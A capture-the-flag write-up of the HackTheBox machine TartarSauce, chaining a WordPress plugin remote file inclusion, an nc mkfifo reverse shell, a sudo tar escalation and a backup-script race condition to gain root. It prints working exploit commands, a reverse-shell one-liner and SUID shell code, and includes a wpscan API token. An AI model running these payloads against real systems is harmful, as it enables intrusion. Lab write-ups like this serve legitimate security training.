Overview

TartarSauce is a medium HackTheBox Linux machine that rewards broad enumeration over obvious targets. A Monstra CMS instance with weak upload filtering turns out to be a dead end, while a separately-hosted WordPress install resists standard wpscan enumeration and only gives up its plugins to a custom wordlist built directly from WordPress’s svn plugin repository. That reveals Gwolle Guestbook 1.5.3, vulnerable to remote file inclusion, which is used to load a webshell disguised as wp-load.php. A sudo rule for tar escalates to a second user via a documented GTFOBins technique, and root abuses a race condition in a periodic backup script that tar-extracts an attacker-swappable archive as root.

Attack Chain

  • Scan the target and find only HTTP
  • Discover a Monstra CMS instance and log in with default admin:admin credentials
  • Identify a known arbitrary file upload vulnerability, but find upload attempts fail regardless
  • Fuzz /webservices and discover a WordPress install at /webservices/wp
  • Run wpscan, which finds no plugins or themes
  • Build a custom plugin wordlist from WordPress’s official svn repository
  • Fuzz the plugins directory with the custom wordlist and find gwolle-gb
  • Identify the plugin version, 1.5.3, from its readme.txt, and a known remote file inclusion vulnerability affecting it
  • Use the RFI to have the target request a file from an attacker-controlled server
  • Serve a webshell renamed to wp-load.php, matching the file the target requests
  • Trigger the webshell and use an nc mkfifo payload to catch a reverse shell as www-data
  • Find a sudo rule allowing /bin/tar to run as user onuma
  • Use a documented GTFOBins technique to spawn a shell as onuma via tar’s checkpoint actions
  • Read the user flag
  • Use pspy to find a periodic root-run backup script, backuperer
  • Analyse the script and identify a race-condition window where its tar extraction step can be hijacked
  • Compile a static SUID-granting binary and package it inside a matching tar archive
  • Time the swap of the legitimate backup archive for the malicious one during the script’s processing window
  • Wait for the script to extract the malicious archive, creating a SUID shell binary
  • Execute the SUID binary to get a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.1.185; export NAME=TARTARSAUCE; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The only open TCP port is:

80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Finding Monstra CMS

Browsing to port 80 shows a landing page.

landing page

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r

dirsearch results - part 1

dirsearch results - part 2

dirsearch results - part 3

dirsearch results - part 4

We’re able to log in with admin:admin.

logging in to Monstra CMS

A Dead End in Monstra

We find an arbitrary file upload and remote code execution vulnerability for Monstra CMS 3.0.4:

https://www.exploit-db.com/exploits/43348

We navigate to Content, then Files.

navigating to Content > Files

According to the exploit, most extensions are blocked except .PHP in capital letters. We copy wwwolf-php-webshell and save it with a .PHP extension.

saving the webshell with a .PHP extension

We select the file and upload.

selecting the file to upload

We get an error that the file wasn’t uploaded. Editing themes and other files also appears write-protected, so we return to enumeration.

Finding WordPress

We fuzz /webservices recursively.

dirsearch -u http://$IP:$PORT/webservices -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_webservices_default.txt -r

We filter the results for 200 responses with awk.

awk '$1 >= 200 && $1 < 300 {print}' scans/dirsearch_${NAME}_${PORT}_webservices_default.txt

The output reveals /webservices/wp, a WordPress endpoint.

dirsearch reveals /webservices/wp

We try wpscan.

wpscan --url http://$IP/webservices/wp/ -e --api-token kYaAtTPV9AaLqigwLwDgqpdvcQdkj0VkmvjBcRatcLE | tee scans/wpscan_PORT80

It doesn’t find anything, no plugins or themes at all. We could use --enumerate ap with aggressive plugin detection, but it’s very slow:

wpscan --url http://$IP/webservices/wp/ --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive --api-token kYaAtTPV9AaLqigwLwDgqpdvcQdkj0VkmvjBcRatcLE

We use ffuf with WordPress wordlists instead, first fuzzing for common endpoints.

ffuf -u http://10.129.1.185/webservices/wp/FUZZ -c -ic -r -w ~/Wordlists/wp-fuzz.txt -t 40 -mc 200 | tee scans/ffuf_wp.txt

ffuf fuzzing common WordPress endpoints - part 1

The endpoints look like standard locations.

standard WordPress endpoints found

Finding Gwolle Guestbook

We fuzz for plugins, first generating a custom plugin wordlist from https://plugins.svn.wordpress.org/. Since WordPress stores plugins in svn rather than git, we install subversion.

sudo apt install subversion

We use svn to list all plugins in the repository, cleaning up the output with sed.

svn list https://plugins.svn.wordpress.org/ | sed 's:/$::' > wp_plugins_custom.txt

We check the first 20 lines with head -n 20.

custom plugin wordlist from svn

We fuzz /wc/wp-content/plugins/ with the custom wordlist.

ffuf -u http://10.129.1.185/webservices/wp/wp-content/plugins/FUZZ -c -ic -r -w ~/Wordlists/wp_plugins_custom.txt -t 40 -mc 200 | tee scans/ffuf_wp_plugins.txt

We find a plugin, gwolle-gb.

ffuf finds the gwolle-gb plugin

Most plugins have a readme.txt. We check whether gwolle-gb does.

curl http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

Scrolling to the Changelog, we’re working with Gwolle-db 1.5.3.

readme.txt confirms the plugin version


Foothold

Exploiting the Gwolle Guestbook RFI

We find a remote file inclusion vulnerability for Gwolle Guestbook 1.5.3:

https://www.exploit-db.com/exploits/38861

The vulnerability lies in the ajaxresponse.php?abspath= endpoint. We adapt it to point at a Python server on our attacking machine.

http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.59/testRFI

We get a response.

RFI test receives a response

Sending a basic request without extra parameters:

curl -I "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.59/"

basic curl RFI request

Our Python web server shows the target requesting /wp-load.php.

target requests /wp-load.php

We copy wwwolf-php-webshell and rename it wp-load.php.

renaming the webshell to wp-load.php

Sending the same request from the browser, the target requests /wp-load.php, our webshell.

We now have a functioning webshell in the browser.

functioning webshell in the browser

Reverse Shell as www-data

We start a penelope listener on port 443, using an nc mkfifo payload from revshells.com.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.59 443 >/tmp/f

We enter the payload into the webshell and execute it.

executing the reverse shell payload in the webshell

We have a shell as www-data.

shell as www-data


Lateral Movement

Exploiting Sudo Tar

enumerating the environment as www-data

We check our privileges with sudo -l and find we can run /bin/tar as sudo, as user onuma.

sudo -l shows tar as onuma

We’ve abused tar wildcard privilege escalation before; here, since we can run tar via sudo directly, we can pass argument flags rather than crafting them as filenames. GTFOBins documents this technique:

https://gtfobins.github.io/gtfobins/tar/#sudo

GTFOBins tar sudo entry

We adapt the command to our situation.

sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

We have a shell as onuma.

shell as onuma

We read the user flag.

user flag


Privilege Escalation

Analysing the backuperer Script

We run pspy32 for three minutes.

timeout 3m ./pspy32

We see /usr/sbin/backuperer executed quite often.

pspy32 shows backuperer running frequently

We view its contents:

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

/bin/rm -rf $tmpdir/.* $check

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

/bin/sleep 30

integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

The script creates a backup archive of the website, saved as a random hidden file in /var/tmp.

script creates a randomly-named backup archive

It then waits 30 seconds.

script sleeps for 30 seconds

It extracts the archive to a temporary check directory.

script extracts the archive to a check directory

It calls integrity_chk(), comparing the live website to the extracted check directory.

the integrity_chk function

If there are no differences, it saves the backup; if there are, it logs an error.

saving the backup or logging an error

Exploiting the Race Condition

We can abuse the extraction step. On our attacking machine, we compile a binary that grants the SUID bit to a shell, save it as /var/www/html/shell, set the SUID bit, and package it into a tar archive with the full folder path.

On the target, we navigate to /var/tmp and copy over our tar archive. As soon as the script runs, we have a 30-second window to replace the website’s backup archive with our malicious one. Once the script extracts it, we’ll have a SUID bash binary at /var/tmp/check/var/www/html.

Our shell code:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}

Since this is an older operating system, we compile our binary as a static binary on stable Debian, via Docker.

docker run --rm -it -v "$PWD":/src -w /src debian:stable bash

We install the dependencies needed to compile with gcc.

apt-get update
apt-get install -y gcc-multilib

We compile in 32-bit as a static binary.

Note: the static flag matters, so we don’t need to worry about GLIBC version mismatches.

gcc -m32 -static shell.c -o shell

compiling the static binary in Docker

We exit the Docker shell and inspect the binary.

viewing the compiled binary

We create the var/www/html directory, copy the binary in, and set the SUID bit.

mkdir -p var/www/html
cp ./shell var/www/html
chmod 6555 var/www/html/shell

preparing the folder with the SUID binary

We create the tar archive.

tar zcvf shell.tar.gz var --owner=root --group=root

creating the malicious tar archive - part 1

creating the malicious tar archive - part 2

On the target, we navigate to /var/tmp and transfer our malicious archive.

transferring the malicious archive to /var/tmp

Timing the Swap

We check how often backuperer runs.

systemctl list-timers

It runs every five minutes, so we need to swap the backup immediately after it fires.

backuperer just executed, per systemctl list-timers

We view /var/tmp with ls -la, since the backup archive is hidden.

listing /var/tmp to find the hidden backup archive

We replace the legitimate backup archive with our malicious one, using the exact same filename.

cp shell.tar.gz .5a5c44f5887084596c751265e00637e3209c8087

We check the folder contents and confirm the file size matches.

replacing the backup archive

After waiting 30 seconds, we check /var/tmp/check/var/www/html, our shell binary now has the SUID bit set.

the SUID shell binary has been extracted

We execute it.

executing the SUID binary

We have a shell as root.

shell as root

We read the root flag.

root flag


Key Takeaways

TartarSauce’s title is fitting, the initial foothold rewards patience over a quick win, since the “obvious” Monstra CMS target turned out to be a red herring, and finding the real vulnerability required building a custom plugin wordlist from WordPress’s own package repository rather than relying on standard tooling. Privilege escalation is a two-part lesson in tar abuse: first a straightforward sudo-permitted GTFOBins technique, then a genuine race condition in a well-intentioned backup script whose extraction step trusted an attacker-writable directory during a predictable timing window, proof that even security tooling built to detect tampering can itself become the tampering vector.